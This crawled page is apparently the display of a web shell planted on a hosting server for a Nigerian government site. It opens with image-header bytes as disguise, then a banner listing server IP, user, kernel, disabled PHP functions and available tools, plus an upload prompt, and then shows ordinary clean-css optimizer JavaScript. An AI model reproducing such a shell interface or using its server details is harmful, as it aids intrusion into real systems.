ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.15.18.94 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/node_modules/clean-css/lib/optimizer/level-2/ |
Upload File : |
var mergeAdjacent = require('./merge-adjacent'); var mergeMediaQueries = require('./merge-media-queries'); var mergeNonAdjacentByBody = require('./merge-non-adjacent-by-body'); var mergeNonAdjacentBySelector = require('./merge-non-adjacent-by-selector'); var reduceNonAdjacent = require('./reduce-non-adjacent'); var removeDuplicateFontAtRules = require('./remove-duplicate-font-at-rules'); var removeDuplicateMediaQueries = require('./remove-duplicate-media-queries'); var removeDuplicates = require('./remove-duplicates'); var removeUnusedAtRules = require('./remove-unused-at-rules'); var restructure = require('./restructure'); var optimizeProperties = require('./properties/optimize'); var OptimizationLevel = require('../../options/optimization-level').OptimizationLevel; var Token = require('../../tokenizer/token'); function removeEmpty(tokens) { for (var i = 0, l = tokens.length; i < l; i++) { var token = tokens[i]; var isEmpty = false; switch (token[0]) { case Token.RULE: isEmpty = token[1].length === 0 || token[2].length === 0; break; case Token.NESTED_BLOCK: removeEmpty(token[2]); isEmpty = token[2].length === 0; break; case Token.AT_RULE: isEmpty = token[1].length === 0; break; case Token.AT_RULE_BLOCK: isEmpty = token[2].length === 0; } if (isEmpty) { tokens.splice(i, 1); i--; l--; } } } function recursivelyOptimizeBlocks(tokens, context) { for (var i = 0, l = tokens.length; i < l; i++) { var token = tokens[i]; if (token[0] == Token.NESTED_BLOCK) { var isKeyframes = /@(-moz-|-o-|-webkit-)?keyframes/.test(token[1][0][1]); level2Optimize(token[2], context, !isKeyframes); } } } function recursivelyOptimizeProperties(tokens, context) { for (var i = 0, l = tokens.length; i < l; i++) { var token = tokens[i]; switch (token[0]) { case Token.RULE: optimizeProperties(token[2], true, true, context); break; case Token.NESTED_BLOCK: recursivelyOptimizeProperties(token[2], context); } } } function level2Optimize(tokens, context, withRestructuring) { var levelOptions = context.options.level[OptimizationLevel.Two]; var level2Plugins = context.options.plugins.level2Block; var reduced; var i; recursivelyOptimizeBlocks(tokens, context); recursivelyOptimizeProperties(tokens, context); if (levelOptions.removeDuplicateRules) { removeDuplicates(tokens, context); } if (levelOptions.mergeAdjacentRules) { mergeAdjacent(tokens, context); } if (levelOptions.reduceNonAdjacentRules) { reduceNonAdjacent(tokens, context); } if (levelOptions.mergeNonAdjacentRules && levelOptions.mergeNonAdjacentRules != 'body') { mergeNonAdjacentBySelector(tokens, context); } if (levelOptions.mergeNonAdjacentRules && levelOptions.mergeNonAdjacentRules != 'selector') { mergeNonAdjacentByBody(tokens, context); } if (levelOptions.restructureRules && levelOptions.mergeAdjacentRules && withRestructuring) { restructure(tokens, context); mergeAdjacent(tokens, context); } if (levelOptions.restructureRules && !levelOptions.mergeAdjacentRules && withRestructuring) { restructure(tokens, context); } if (levelOptions.removeDuplicateFontRules) { removeDuplicateFontAtRules(tokens, context); } if (levelOptions.removeDuplicateMediaBlocks) { removeDuplicateMediaQueries(tokens, context); } if (levelOptions.removeUnusedAtRules) { removeUnusedAtRules(tokens, context); } if (levelOptions.mergeMedia) { reduced = mergeMediaQueries(tokens, context); for (i = reduced.length - 1; i >= 0; i--) { level2Optimize(reduced[i][2], context, false); } } for (i = 0; i < level2Plugins.length; i++) { level2Plugins[i](tokens); } if (levelOptions.removeEmpty) { removeEmpty(tokens); } return tokens; } module.exports = level2Optimize;